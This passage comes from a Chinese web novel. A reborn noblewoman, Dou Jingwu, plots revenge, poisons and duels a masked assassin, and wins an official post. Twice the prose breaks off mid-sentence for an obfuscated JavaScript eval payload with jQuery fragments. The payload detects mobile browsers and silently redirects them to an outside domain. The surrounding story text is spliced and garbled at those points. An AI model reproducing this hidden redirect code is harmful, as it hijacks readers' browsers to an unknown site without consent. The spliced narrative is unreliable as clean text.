踏着泥泞翻越许久,再次凝眸驻足,眼前几步远的地方突兀地立着一块无字石碑,似乎……是座衣冠冢。
跟了一路,眼前景象不禁令男子咋舌。
他躲藏枯树之背,黑夜中,一节被月光照得惨白的手,迟钝地取下那黑金色面具。
伪装之下,俨然是一张明如海中月、镜中花那般不真实的脸。
未动容时恍若寒山之上,孤傲、遗世独立的雪莲;动时,其唇角旁的朱砂痣,性感、诱惑,让人不禁想要亵渎。
风吹来,随之卷起一阵弥漫死气的尘土,四处纷扬。
就在他的对面,正缓慢走出一道比这黑夜,更黑、更压抑的身影。
“……”
窦净梧站立在石碑旁,月光投照她瘦削的身影,孤寂、悲凉,冰冷的嗓音中更是仿佛挤压着巨大不为人知的情感。
那是离别之后,重逢之时,是庆幸也是喜极而泣,但他们皆像囤积已久的死水,从始至终毫无动向。
待男子抬眸二人目光交汇,虽不语,然心中千言万语已尽,无可诉。
男子声音低沉,饱含惆怅:“阿萸。”说话间,他抬手拿下黑斗篷的帽子,随之展露出一张充满野性的脸。
月光下,他的皮肤仍旧不算白,但却是轮廓分明,刚毅十足,丝毫不输世家公子的五官。
可是无人记得,曾经的他也是一身枫红如骄阳热烈、耀目。
沉寂过后,窦净梧冷声开口,目光看的却是石碑:“哥哥可是已经有计划,准备回长安了?”
在对方不经意间,她已不知从何处抽了一把匕首出来,但见银芒刺眼她仍面不改色,利落划过掌心。
鲜血顺着伤痕蔓延开来,眼看就要滴入尘土,窦净梧这时走上前,将那炽热的血液淋在了石碑上。
紧接着,这个看似傲骨不屈的人,在石碑前跪坐了下来。
男子离窦净梧所在尚有些距离,远远望去,他只见她双手合并,眼眸半合不合地垂着,掌心的血还在不断往下滴。
盯着看了许久,恍惚间,他在那张冷若冰霜的脸上看到了一丝裂痕。
他无法想象,这样强大的一个人,究竟是想起了什么,才会令她露出这般神情——或许与当年的谢家事息息相关?
此刻站在窦净梧身后的哥哥似是察觉到异样,面色略微紧张地走上前将她扶起,语气有些不安道:“阿萸。”
她摆了摆手,从袖中抽出一方素色巾帕,快速缠裹好手掌后立时浸满血色。
这段时日里,她的脑海总是不断重复上演着一个画面。一座雕栏玉砌的宅院,坐落于城中心,于瞬息间火光冲天,惨叫不绝。
这场火烧了很久很久,直至生气全无,尸骨成山焦黑不辨,或有幸者,还残存些许尸骨。
窦净梧清楚地记得,那火是被雨所浇灭的,睁开眼,一望无际的黑暗裹挟四周,她伸手去摸索却什么都没有。
她不知自己为何还活着,甚至也曾还天真地认为是老天爷让她命不该绝。
真是可笑。
“阿萸,你……”哥哥欲言又止,似是生怕触其禁区惹其伤心。
“记得吗?”窦净梧背过身,双眸犹如毒蛇盯着猎物般,眺望不远处长安城的方向,“我是个自私凉薄的人,若非这执念,早在那一年便该死了。”
话虽如此,可他心里清楚,她绝非其口中所述那般。若真凉薄,她应会比现在更洒脱、自由,而不是将自己禁锢在仇恨中,自我折磨。
她眸光幽深语气却看似无比平静,道:“我要李氏永承其业,受因果,绝轮回!”
瞧着窦净梧这般,他的心仿若撕裂般疼,明明也只才刚过及笄之年却要承受这些不公。
他不禁开始怀疑,阿娘当初将她带回来究竟是该还是不该。
与此同时,枯树之背。
男子嘴角噙笑玉面不断抽搐着,异常难看,好像其胸口扎了一根长钉,然此刻骤然穿透血流不止。
“我们都是弃子。”他小声呢喃,脸上显露阴险,手撑着树,脚下不经意踩过一根枝条咔嚓一声脆响惊起。
“谁?”窦净梧原本从容的脸上,如今映着戒备。
伴随一阵轻缓不迫的脚步声响起,哥哥重新戴上斗帽,缓步退入黑暗。
他知道她能解决,而他现在还不能暴露。
脚步声越来越近,窦净梧负手而立,一副气定神闲之姿,过程中被带起的细风,清晰的吹拂在的后背,被她所感。
思索空隙,窦净梧察觉来人应离她仅剩下不到十步,她长袖遮手,食指有节奏地敲击掌背,同时心中对于来人身份已有所知。
“你……”
男声响起,窦净梧只觉有只手正伸向自己肩头,她顿时抬手拔簪而出。
未及反应,男子只感受到一股凉意在脖颈上散开,慢慢地,变成了一股刺痛,但因细微如蚊虫叮咬,让他并未多想。
“我不是付了账吗,此番前来纠缠莫不是生了歹念?”窦净梧一副什么都没发生过的模样,肃穆看着他,仿佛这只是一个心思不纯的浪荡子。
“红叶虽多情,娘子又怎能断定是不轨,而非真情?”男子眼眸暗沉,说完便打算离去。
她吊儿郎当地沉默不语,明明一副不羁的神情,却又在看到他落寞正欲远去的背影时好似在认真思考些什么。
窦净梧邪肆勾笑,眼眸精光骤然乍泄:“十四日后到方才那个地方等我。”
夜里风雪将侵,院前花树细枝摇曳作响,廊阶雪已覆满地,空空荡荡的礼王府中到处充斥着寒意。
“四郎。”女声于暗处响起,温软的像是抚过长夜的明月。
裂隙渐开石门轻移,昏暗的烛光映照进更加漆黑的环境里,一道道脚步就近踏着直至所有灯烛燃起。
等石门再次移动,这里又成了密不透风的牢笼。
“阿蕊,对不起。”李承祉神色悲伤地看着眼前女子,双眸中尽显无奈。
还没等叶馥蕊再想说什么,刚靠近,她就感到腹部一阵刺痛侵袭。她瞪着李承祉双眼满是不可置信,痛感贯穿五脏六腑疼得眼泪直掉。
她想不出为什么,曾经朝夕相处互许终身的两人会变成这样,他是爱她的,不是吗?
曾经无数个日日夜夜难道就只是戏?
叶馥蕊想起,二人初识时也是上元。
她照今日这般在台上跳着上元舞,舞曲中她随旋律翻飞,眼前华庭盛世、灯火如星,间奏停顿时于熙攘人群,她唯独看到了这个没有一丝留恋的回眸。
起初,她不知这个人为何引得自己飞蛾扑火,现在她终是明了了。
不过是万千宠爱于一身,看惯王公贵族为博自己一笑不惜以千金换,而那个人,他的眸子里是冷漠,脸上充斥寂寥。
叶馥蕊无法想象,一个什么都拥有的人怎么会露出这样的神情。
此爱或真或假其实都不甚重要,当李承祉在权利与自己之间选择了前者时,她就已经不在乎了。
何种归宿皆由一念起,即是她所选理当走完,只叹情爱惑人,世间之情杂如青丝。
叶馥蕊虽能以一舞名动长安,但到底不过是个情窦初开的少女,在这个年纪喜欢上了一个不该付出真心的人。
“阿蕊。”李承祉到底还在唤着她的名,以至真真假假虚虚实实,他是否爱过怀中少女呢?
——他也不知。
即已入了戏,谁堪清醒?
正月里的雪愈清犹寒,下至深夜几近堆积如山,披了件霜白孤裘的窦净梧屈膝坐在檐下阶梯上,隔着厚重布料露出半截手臂向外悬空。
淅淅沥沥的雪像是暑夏及时雨般迎风吹来,而她的眼中毫无波澜。
十四日后,窦府。
晨露初生化开新雪,刺目的阳光透过窗棂缝隙照进了屋里,窦净梧方坐起身便眯了眼眸,待掌心覆于右眼前才愈渐清明。
她恍恍惚惚地直视着眼前紧闭窗棂,好似要透过这看些什么,只是油纸虽半透,说到底仍非明镜可辨事物。
窦净梧沉寂半晌,目光忽而射向梳妆台面上放着的一根钗子:“霜寒。”
“娘子。”耳畔响起女子沉缓的问询声。
她伸出手,掌心展露一个釉色的小瓷瓶,渐如花朵盛放般露出了它的花蕊。
“暮夜时你去一趟万丈红,将这个交给……”她佯装突然想起来什么,借故询问眼前的宁霜寒,“那日上元他为何会出现?”
宁霜寒略微迟疑,神情不解地看着她:“不是娘子让瘐姚温陪您去逛灯会吗?那日因我不长安,所以无法陪同。”
对于她的怀疑,窦净梧很快又圆了回来:“我与他相识不过数月,平日里无事他绝不会主动来寻我,那日上元又是为何?明明我还未曾寻他。”
宁霜寒沉默不语,她则眉弯唇扬,看似一副善解人意的模样,落到实处的目光却尽是复杂难解的情绪。
“你先下去吧。”她神色不明,待宁霜寒行至门槛又忙补充,“这药,你今日暮夜务必记得送去万丈红,亲自交到庾姚温手中。”
宁霜寒目光犹疑带着审视,直愣愣答“好”。
目光垂落,手心的这个瓶子看着熟悉,像极了窦净梧平日放解药的,心下又不禁起了疑心,她何时会在乎这些了?
往常不都是不闻不问,放任死去吗?
宁霜寒生怕有异,窦净梧除了她以外还会对他人施以信任,遂兀自打开了瓶子,把里面的药丸倒进了掌中。
就一颗,宁霜寒舜时扬笑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755175|157682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心满意足地出了院子。
窦净梧缓缓从床上踏下来,玉足不着一丝,赤裸地行进在冰凉刺骨的木质地板上,只透过打开了一些的门缝,神情复杂地目送她离去。
窦净梧手撑在桌面昏昏欲睡地托着腮,将一切收入眼底,冷笑着自言自语:“真不愧是那人教养长大的,如出一辙的自以为是。”
这庾姚温看来是杀不得了,不管他究竟是不是那个白影,现在除了这一个与之有关的人外,几乎什么线索都没有。
推开窗棂,耀目骄阳裹挟着和煦春风毫无保留地迎面拂来,泛着霞光的芒在她周身闪烁,湿冷的风围绕耳畔,总是时不时似孩童般撩起她垂落的青丝。
她本无情绪的目光此刻正深深地望着远方,无限悲凉不知何起。
-
应窦净梧之约,一大早庾姚温便等在了万丈红,只因她未曾明说时间,唯恐错过相见。
此时天色明亮,大堂里悄然无声,唯楼阁外不时飞过小雀,唧啾唧啾的叫。
庾姚温心中其实明了,当窦净梧在他颈上划出那一长痕时,他就已经毒入肺腑,现在或许也只是准备控制他。
只是多年的情感已然让他亲手斩断,如今再见,他亦只能活于阴暗处,做个陌生人。
以至于当窦净梧下的毒侵蚀他身体时,她根本不会想到,他的体内本就有一味毒,阴差阳错原来的慢性毒,也就合成了催命的。
庾姚温坐在那日窦净梧所坐之地,学着她的模样倚坐窗畔,怎料寒风凛冽如锐利箭矢不解人意,平添愁绪。
他喝着茶,一口血猛然就吐了满桌面,便连素色衣摆也无幸免,零星沾染了几点。
幸尔,她还未来,没有瞧见他这副狼狈模样。
似水的眸子如不绝江河,深深望着窗外;望着远方阳光洒满大地,映着金辉的雪山若隐若现宛若身在云端,欲说还休的模样活像个孩童玩躲猫猫。
瘐姚温原以为只要不去想就好,那样,时间还在游走,而他不觉漫长。
可当人过于执着于某一件事时,时间似乎不再是能用以计量的单位。明明才过去不久,他却恍觉如度数年。
其间,远方雪山露了真容,而他不知不觉陷入梦魇。
漫天的飞雪飘忽不定如似这泱泱大国,他吊着一口气,只想着再去看一眼那个梦中人。
橘红的广袖襦蓝紫色间裙,渐渐被雪花所掩。
他迟暮地走过去,膝盖无法弯曲咣当一声便跪在了雪地之中,努力向奄奄一息的她爬去,心像是刀绞般疼。
破碎的脸忍不住动容,可那抽动,扯得破裂的肌肤生痛,他挥泪如雨却在还未落下时就已成霜、成冰。
无能为力……他无能为力,他连自己也救不了。
只能任由这枯枝、腐败、糜烂。
当两方冰凉骨节相碰时,他不知是不是心理作用,这一刻他感受到了从未有过的温暖。
逐渐,他开始变得贪婪。
他死死抓着,生怕这来之不易的春,在自己松懈时悄然退去。
远处。悠扬浑厚地钟声响悄然起,身边也传来了女人小心翼翼的问询声:“郎君在此已然坐了半日,可是在等人?”
瘐姚温根本没听进去,只喃喃重复着:“半日……半日……”
他的眸子暗了下来,眼前万家灯火中升起袅袅炊烟,金光渐行渐远,吸入鼻中的气息此刻不再只是两袖清风,它还夹杂着人间烟火气。
暮夜到来,人人都于家中围坐用膳,只有他还在这勾栏中痴痴地等一个不会赴约之人。
“瘐姚温!”当这一声呼唤响起时,他下意识就向声源处看了过去,亮着睛光的双眸也在同一时间看见来人面容时,颇为失望地黯淡了下去。
“宁娘子,你家二娘子呢?”瘐姚温语气近乎平淡。
宁霜寒没有第一时间就回复他的问题,而是在眸光掠过他颈侧一条几近无痕的伤口时,才不咸不淡地答道:“娘子临时有事来不了。”
她将一个釉色小瓷瓶随意放在了旁边的案几上,冷峻的面容突然露出一个意味深长的笑:“解药。”
顺着宁霜寒方才目光停留的地方摸去,他这才如梦初醒。
黑金面具下的那张脸无人知晓是何表情,但他这含情脉脉的眸子里宛若一汪深泉,而在这深泉中心悄然藏匿着一个庞然大物。
他目光从窗口探下,一直紧随着宁霜寒,深泉中心的庞然大物似乎也在随之浮现。
-
今日天气甚好,以至黎明破晓、黄昏浮动,窦净梧悠闲地躺在竹椅中,以白狐毯覆身,仅露一胳膊手持注子,不亦乐乎。
突然,一股劲风朝着她的方向袭来。
眼瞧着这箭不过咫尺之遥,直抵咽喉而来,她伸手袖子滑落,一只遍布伤痕的胳膊露了起来。
只听得注子坠地一声闷响,窦净梧抬首旋身支起,眼眸自内而外散发着一股邪佞之气,死死盯着手中长箭,静默良久:“看来我并不能早日解脱呢。”
她笑如妖魅,纤长匀称的指节缓缓抚过箭身,取下那捆绑于尾羽的竹筒,但见纸张之上默有一句话:
“深林藏恶兽,浅草映蜉蝣。”
4. 因果
窦净梧依着前世记忆,算算时间,科举将至。
她先是暗自潜入那些与当年事有关的大臣家中,准备先一步收集好证据。只是,当她一家家找去后,记忆中,那些存放证据的地方皆是空空如也。
当即,为免打草惊蛇,她只能空手而归。
院子里,窦净梧独自坐在树下,紫藤未开,唯有满枝萧条枯木,一如她此时心境。
究竟是怎么回事?
她百思不得其解,问题到底出在了哪。
首先,她很确定,前世就是从那些地方拿到的证据,偏偏现在,一切都不止于小小偏差。
证据不知去向,完全可以说是整个颠覆了窦净梧当下的处境。
从一开始的意外重生,到后来,凭空出现一个记忆里不存在的人,现在的,证据消失,满盘倾覆。
她的所有计划,此时此刻起就只剩大梦一场,但时间还在像催命的轮盘,不停转动。
现实不由她选择,亦没有时间浪费,她只能一条道走到黑,哪怕前方是已知的万丈深渊。
窦净梧思索着,情不自禁仰天大笑,她凭什么要认命。如果天命只是想让她改变从前的一切,那么她又为何要从?
大不了一死,正合她意。
如此,她再无不解,干脆放宽心,逐水飘零。
数日后,大聿一年一次的科举又到了开考的时候,恰逢窦净梧为人聪颖自幼饱读诗书,后又因太子挂名于太学,得以参考。
所谓挂名不过是名存实亡,不同于他人的每日都需准时去上学,她唯有每逢考试才有机会前去。
不过如今想想也是奇怪,那天本是意外。
窦净梧跟着窦鹤章去东宫,今生第一次见到了传闻中那个病得快要死了的太子。
他脸色苍白,说话反倒是颇为中气十足,只是为人冷淡,仿佛是个局外人,置身事外对一切都漠不关心。
从前窦净梧被仇恨蒙蔽了双眼,一心只注意到朝中锋芒毕露的礼王李承祉,而对于这位太子李玄晔一窍不通。
以至于现在只要稍微留意,一切疑点皆有迹可循。
一面之缘怎么着都只能勉强算是认识,却不相熟,可那李玄晔却总是有心刁难。
临去前,他忽然又没头没尾地让窦净梧去国子监学习,偏偏这看似无意的一言像极了蓄谋已久,直接就戳破了她的心思。
只是有些事由并非空口白话便能成真的,圣人如此,太子亦如是。
且不说摆在明面上的,李玄晔与崔杉和崔氏这一层复杂难明的关系,就光是他与李琮父子间也是颇具看点。
世人皆知,他这个太子位是靠着崔家和崔杉得来的。
圣人本就不喜其母先后崔氏,对他更是厌恶至极,使得他对于崔杉而言只是一个还算有价值,可供控制的提线木偶。
堂堂太子表面风光,暗自腐朽生蛀。
这样的一个处境,李玄晔却闷声不响,公然提及当下满朝最敏感的事。要知道,第一次提出女子参加科举的便是他的老师,前任太子太傅——张壁。
现如今,他旧事重提目的何其不善,不言而喻。
朝堂,是个只要一有风吹草动就暗流涌动的地方,窥伺许久,好不容易让那些躲在暗处的老鼠抓住了李玄晔的把柄。
一时间,不可谓是空前绝后,凡是妖魔鬼怪全都竞相跑了出来。
窦净梧那时看似身处局外,将一切尽收眼底,觉得她看穿了李玄晔,当他就是一个扮猪吃老虎的太子。
可直到最后,他似乎也没有任何行动,反而是崔杉,这个时候站了出来,有意平息事端保李玄晔,提议说:
“制度已定,有朝一日自是要正式施行的。如今可称是适逢其时,倒不妨顺水推舟,就让这窦二娘子试上一试?”
事到如今,李琮也不好佛了崔杉的面子,更何况这事本也与之脱不开干系。说来也不过是,因果报应各安己命。
这个时候,窦净梧算是彻底明白了。她都还没开始利用他人呢,反倒是成了他人之美,平白被人扯进浑水里。
她依稀记得,自两年前张壁提出男女共同入学参加科举的言论后,长安委实是掀起了一阵惊涛骇浪。
所有人,不论是私怨颇深还是有利益冲突,那一次他们不同以往的狗咬狗,出奇一致的仿佛一群禽类,因被人夺了吃食受到损害而一致对外。
他们纷纷上言弹劾张壁。
这么个空前的想法,对于那位来说简直就像当着他的面捅刀子,然而就在谁都以为此局落定的时候,这位圣人却临时变卦。
没有人清楚究竟发生了什么,只知后来他不顾群臣反对,一意孤行,又因世族权大仍旧忌惮,导致最终结果变成了现今这般:
“女子不可入学,仅给予旁听之权,至于科考凭心而动。”
简而言之便是,你既无法求得真才实学,就算是给了你这个参加科考的机会,也不过是瞎子点灯白费蜡。
今岁恰是此法令施行的第一年,也可能是最后一年。
窦净梧被动之下参加了这次的科举,偏偏她向来是个睚眦必报的主,被李玄晔摆了一道,她都还未还,又岂会甘做利剑?
在她看来,李玄晔如此大费周章,明面上是为了成功推行此制,以全张壁之愿,可单单只有这个根本就不值得他冒险。
这个看似不谙世事的太子,此举,似有敲山震虎之意。
窦净梧本以为此生应当与从前无异,但经过此事后,她总觉这李玄晔正在计划一个巨大的阴谋,足以倾覆大聿。
-
窦净梧独自排在准备进贡院考试的一众男学子中,队伍拥挤,前后人总是时不时碰触她身。
她面无表情,眼神平静却汹涌杀意。
自从蹚了李玄晔那趟浑水后,她的身边开始多了许多打量和探究。但这次却不同以往的目的明确,更多时候像是在……保护她?
难不成是那瘐姚温,她暗自打趣。除此之外,她想不到与谁会如此,毕竟她是个飘摇于人世苟延残喘的孤魂野鬼。
这时,身后忽然挤进来一个人,笑意盈盈。
“抱歉。”男子长得眉清目秀,有些不好意思地向窦净梧叉手示意,而后便沉默寡言。
她始终沉默,不动声色地打量着男子,不多时便一心思考眼前问题。
三日后,雪飘如絮。窦净梧从贡院里出来,入目已是堆银砌玉一片,不远处停了一辆挂着写有窦字的马车。
迎面走来一个身形修长,容貌俊朗的男子,着一袭绯色圆领袍,柔声唤道:“镜尘。”
“阿兄。”窦净梧款步走上前,垂眸瞧了眼窦鹤章的衣摆,“这是刚下朝?为何不先行换一身便衣?”
窦鹤章不以为意,声音浅淡道:“无妨,回去吧。”
她轻轻点头应着。
-
窦净梧刚跨过府门,便瞧见窦莒正款款往这踏来。
她准备好叉手行礼,怎料,他斜着眼,一脸凝重地打量着她,目光在掠过她身后的窦鹤章时,这才稍缓。
待窦莒一声不响离开后,窦净梧也只是扯扯唇,拜别窦鹤章,转身刹那,一张笑脸瞬间就冷了下来。
放榜那日天空又下起了零星霜雪,寒风噬骨。窦鹤章本不想窦净梧亲自出来,但终归是抵不过她那花言巧语。
布告栏前,窦净梧着一袭翠黄色间裙,身披白裘,眼前是熙攘身怀期待的学子们。
他们的脸上纷纷洋溢着紧张与兴奋的笑容,可谁也不知接下来哪个会因寒窗十年未上榜,而张就此疯魔。
簌簌白雪前,她的心似也跟着一同飘摇,不知不觉回到了报名那日。
放眼望去,门前排着长龙的队列中尽是男子,唯窦净梧一名女子,夹杂其间,受尽冷嘲热讽。
她毫不在意,只因她将屹立众人之上,令他们不得不低下那看似傲骨不屈的头颅。
“镜尘。”看着眼前人群渐渐散去,窦鹤章侧身轻唤她。
她似乎还有些没缓过神,只浅笑着回应。茫茫天地之下,黑白两道身影站立示告前,外人看竟意外的般配。
窦净梧眸光淡淡,榜上有名,明法第一。
她中了——
但一开始她要考的本来是进士科,只是,她有预感,明法更适合她,并且往后还有机会快速晋升高官。
答案她心里其实清楚,只要有崔杉和那位在,她即便是交的白纸,到考官手上也会是满卷墨。
今日出来也不过是想看看,如果换作他人,看到自己上榜时会是什么心情。
事实证明,在她亲眼看见示告上她的名字时,心里好似有一缕微风柳絮拂过,风散了、风停了对他而言无二区别。
她不会共情他人所想,亦不会对他人付诸本就缥缈的情感。
放榜后的数日里,窦净梧一连去了好几次红楼。其间,庾姚温找到了她,消息灵通得简直不像一个杀手。
知道的事太多,不禁让人怀疑他是里面的人。
谈话中,他总是有意无意地试探窦净梧的想法,像是在预谋什么计划。
在庾姚温开始此越线之举后,窦净梧已然再没有心思与之周旋。她不喜欢自作聪明自以为是的人,更别提这个人试图掌控她的想法。
当即,窦净梧再不愿去顾及,哪怕失去这关于白影的唯一线索联系,迷失在无边海里,她也要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755176|157682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他死。
她设计庾姚温去了一处无人荒宅,待他放松警惕,旋身,绕至其后,直截了当,一手锁喉,一手从腿弯处抽出一把两头皆成□□的双刃短剑,斜着抵在他锁骨上方,将人挟制身前。
“你……”窦净梧方开口,话不成句,她突然就松开了锁喉的那只手,向上延伸。
正待她即将揭露面具之下的容颜,庾姚温似是也意识到了,立时,手肘快速向她腹部击去,趁她躲避攻击的瞬息脱离了钳制。
尖刺在他脖颈上划下一条长痕,血色如雨,沿着领口向下流。
男子迅速用方才从窦净梧身上窃来的巾帕系在颈项上,眼神却平静如常地盯着她:“二娘子这是何故?你若是有惑不解,大可直接询问,没必要你死我活吧。”
他说着话,眉头忽然一跳。
窦净梧冷笑着,眸光中尽是轻蔑:“若真如你所言,你就不该躲。”
她脸上扬笑,一步步,像是侵略者一样靠近:“连真面目都不敢示人,你的所言又有几分可信?”
“倒不妨你我坦诚相待,我如你所愿。”
她冰凉的指尖忽然游弋在庾姚温的伤口处,隔着丝制巾帕,依旧能清晰地感受那如电流划过的酥酥麻麻。
在庾姚温失神间隙,窦净梧手中拿着短剑擦过了他的衣摆,再回看,她隔着两步的距离与之四目相对,此刻剑上已无血迹。
庾姚温无奈地看着她:“你一定要这样激进吗?”
窦净梧缄默不语。
眼看二人斡旋良久,庾姚温这时从身后缓慢抽出一把软剑。
他到底是顾虑。
若她真的瞧见了这铁面之下所覆的容貌,不知作何感想。同时,他又很清楚,今日不论如何,除了“杀”之一字,再无他法。
达不到目的,窦净梧断然是不会善罢甘休。
看到庾姚温摆出一副迎战的姿势后,她扯唇,压低身子,手腕转动间猛然向他刺去。
几个来回下来,两人身上俱满是伤痕,说不清究竟是谁占了上风,但窦净梧很显然还能够拦住他,而他却已无再战之力。
她凝眸看着他,并没有任何下一步的打算。
庾姚温撑地起身,与之目光相接,他心里清楚,她这是再给他选择。只是,不论怎么选,也不过是主动与被动。
“你当真做好了这个准备,即便当答案揭露,并不在预料之中?”他像是在给窦净梧做心理建设,仿佛面具之下是个吃人的。
夕阳西下,似是冥冥注定,透过残破壁顶一缕斜阳射入,他轻取下黑金面具,一时之间噤若寒蝉。
窦净梧眼前模糊不清,脑海中始料未及的飘过这张脸主人的名姓。前尘里他们交集甚广,亦可说是两心相印。
而今,死去的记忆与人一同侵略着她的思绪。
他不似往昔浮于表面的柔和无害,身上多了股要命的戾气,反倒是莫名符合从乱葬岗爬出的鬼。
她看着这个被自己亲手杀死的鬼,情绪毫无起伏。只是怔愣片刻,心中思索,他若是鬼便是如同自己一般,但若不是……
她没再想下去,逆着光,向外漫不经心地踱步。
天空这时轰隆轰隆地响了起来。庾姚温目光涣散地低垂在胸口,屋檐无遮,雨滴啪嗒啪嗒地落在身上。
劲风在眼前掠过,窦净梧错开身,勾着一抹邪魅出了荒宅。
一次不够,再杀一次便好了。
暴雨袭来,庾姚温胸口浸湿了一大片,刺痛传遍全身。
正待他捂着伤口,扑通坠地,一道身影走了进来,懊恼的自言自语:“真是的,这回到年轻时候,记性反倒是不如从前。
差点就忘了,那白影的胳膊上纹有一朵曼珠沙华。
窦净梧蹲下身,粗鲁地将庾姚温的袖管往上推,两只皆至臂弯,一片花白入目时,她烦躁地呼了口气,起身离开前,眼中尽是鄙夷。
深夜,地处长安城东边的一座大殿内,灯烛摇曳不灭,万籁俱寂之下却忽而响起一道温柔男声,饱含愧疚地轻声道:“对不起。”
只是那“年轻时候”一词莫名让人在意,或许……听错了?
-
日子逐渐逝去,本不该这般早授官的窦净梧,在这阴云蔽日天等来了个大理寺少卿之职。
她深知自己被有心之人推上高台,窥伺,终有一日会粉身碎骨。可现在她还不值得那些人费尽心思,他们看中的是她身后的窦家,是崔相。
这些人都太过刚愎自用,只当她是一根弓弦,偏偏他们都已经忘了,所有的诡计之后,最终的受益人都只会是她窦净梧。
她什么都无需做,就轻松获得了他人艳羡的一切。
5. 悬铃尸
大理寺前,窦净梧一袭绯色官服面无表情,风声猎猎,吹动衣袍翩然,她的眸中野心尽数毕露。
这会长安明面上还算太平,由于凶案、命案鲜少发生,促使大理寺长此以往都处于一个无所事事的状态。
不论是上面还是下面,都已经习惯了无拘无束的日子。
窦净梧刚开始进到里头时,除去每日应卯,便总是闲坐在工室里查阅过往卷宗,散衙后反而总是一副很忙碌的模样,在各坊市间来回穿梭。
有一回宁霜寒见她进了工部赵侍郎的府中,不解地问她“为什么?”,明明她一直都很不屑与这些人打交道,现在又为何要因入仕而刻意逢迎讨合。
那时她只以笑概括,道:“棋盘很大,还有许多处未曾落子,实在可惜。”
实际上,窦净梧只是因为从前所寻到的有关于谢氏的证据,现在不知在何处
,她唯有再一次以身入局,方能找回证据,还谢氏一族清名。
圣人李琮昏庸愚昧,整日只知与那吴东上研究如何长生不老。朝堂上两方势力割据,细水长流后又还有一个远在岭南的“李绛丞”虎视眈眈。
或许在所有人眼里李绛丞只是个被撤了封号,远贬岭南的罪人,出身不好又不受人待见,是个透明人。
可这恰恰便是他最好的剑刃,没有人会对这样一个无用的人多费心思,鹬蚌相争最后可不就是这渔翁得利。
而在这被重重势力盘旋包裹的皇子中,要数太子最为被动。
他生来体弱,生母崔氏虽为后,但没几年就病故离世。自小便不被圣人所喜的他,原本是无论如何都当不了这个太子的。
好在其母有个野心极大的弟弟,加之其身后持有崔氏这张大牌,朝中又有不少官员在其担任国舅时,因为或多或少的利益倒戈于他。
李琮原本想立的太子人选是“李承祉”,可惜那时的他在朝中毫无话语权,恰巧这圣人又是个左右逢源的,不到生死之即,哪边都不想得罪。
即便再喜爱这个儿子,在众臣的声声讨伐前亦不值一提。
从此半死不活的李玄晔成了太子,成了中书令崔杉手中的一根线。许多人都盼望着他早死,早些让位。
偏偏,他这病情看着毫无变化,却也无半点伤害,就这么一直苟延残喘着到了如今。
窦净梧若想要达到目的,就得让这长安乱起来。于是她游走于各势力间模糊立场,始终未帮助任何一方。
自古以来能顺利登基的太子寥寥无几,就因此从前她选则了李承祉,而今,李玄晔的一举一动不禁让她开始有些在意。
但除此之外还有两个人选,她也没必要在坚定于谁,毕竟事未成真,到最后还没准是她坐上了那个位子也尚未可知。
-
这日窦净梧如常放衙,行至途中却又突然被人叫回了大理寺。那人骑着马神情焦急,仿佛是十万火急之事必须今日处理完。
她不会骑马,又折回走了许久才到大理寺。
她刚跨过门槛,还没来得及询问发生了何事,眼前阴影笼罩,传来一道迫切的男声:“尸体在何处?”
打眼看去此人穿着一袭湛蓝袍子,身量修长,只不过气质有点多变,不好形容。
窦净梧仔细打量着男子,没有看出一点破绽,直至目光下移,他的长靴上沾满了红泥。她发现,他也是刚从外面赶回来的。
可这几日长安并未下雨,只听闻万年县几日前刮了场妖风,暴雨连绵,山上不少泥石滑落了下来,其间甚至还有不少无名尸。
“窦净梧见过崔少卿。”她躬身行礼,也没等其开口就先行起了身。
闻言,崔章静放下手中事迟疑地转看向她,神情肃穆:“你便是新上任的少卿?”他的眸光里充溢着怀疑与轻视。
这些时日他虽不在寺里,但长安出了位女状元的事名动全京,更别提,这位女状元被分到了他任职之地。
他的耳目之中有多少是关于这位的,他心知肚明。
崔章静没有刻意去等她回答,而是转看向一旁边的狱丞,正声厉色道:“沈伏,带我们去现场。”说完他就拽着她的胳膊,不苟言笑的跟在男子身后。
窦净梧没有问他要去哪,只是安静地跟着走。
她对于这个人的印象还停留在传言中。传闻他是崔杉的私生子,因为上不得台面所以被养在崔氏旁支的亲戚家,本来这个谣言也仅仅只是道听途说。
直到后来,他仅年过二十就任职大理寺少卿,可说是大聿有史以来最年轻的一位。
此后人们都不约而同地将他当作是崔杉的私生子,但这些对于他本就惊涛骇浪的人生来说,实在不值一提。
想到这,窦净梧不由腹诽,若以如此之理,那她岂不是也成了崔杉的私生子?
对于尸体的痴迷,他几近疯魔。有句是这样说的,但凡有他崔章静一定就有死人,即便此刻没有,那离有也不远了。
窦净梧窥着他的神情于心里道,这般急切,命案看来是八九不离十了。
此路途不远,以至于几个人都是徒步走来的。但崔章静在抵达目的地的那一刹,几乎是风驰电掣般甩脱了她的手,然后飞奔进院里。
看着他迅速消失的背影,窦净梧冰冷的脸上闪过一抹阴笑。
院子里围满了人,他们每个都在看似匆忙坐的无用功。再靠近些,窦净梧透过人墙间隙看到了摆在水井边的尸体,还有旁边胡乱堆叠交缠的红绳与金铃。
崔章静戴着手套在那尸身前摆弄,到处检查了个遍,却因苦着张脸而让人清楚什么有用的都没找到。
她就那样静静地看着他,什么也没做。
凶手找到与否她不在乎,也不想管,她只想好好地下完这一盘棋,然后体面离开这荒唐人世。
现在他又开始询问起了目击证人。
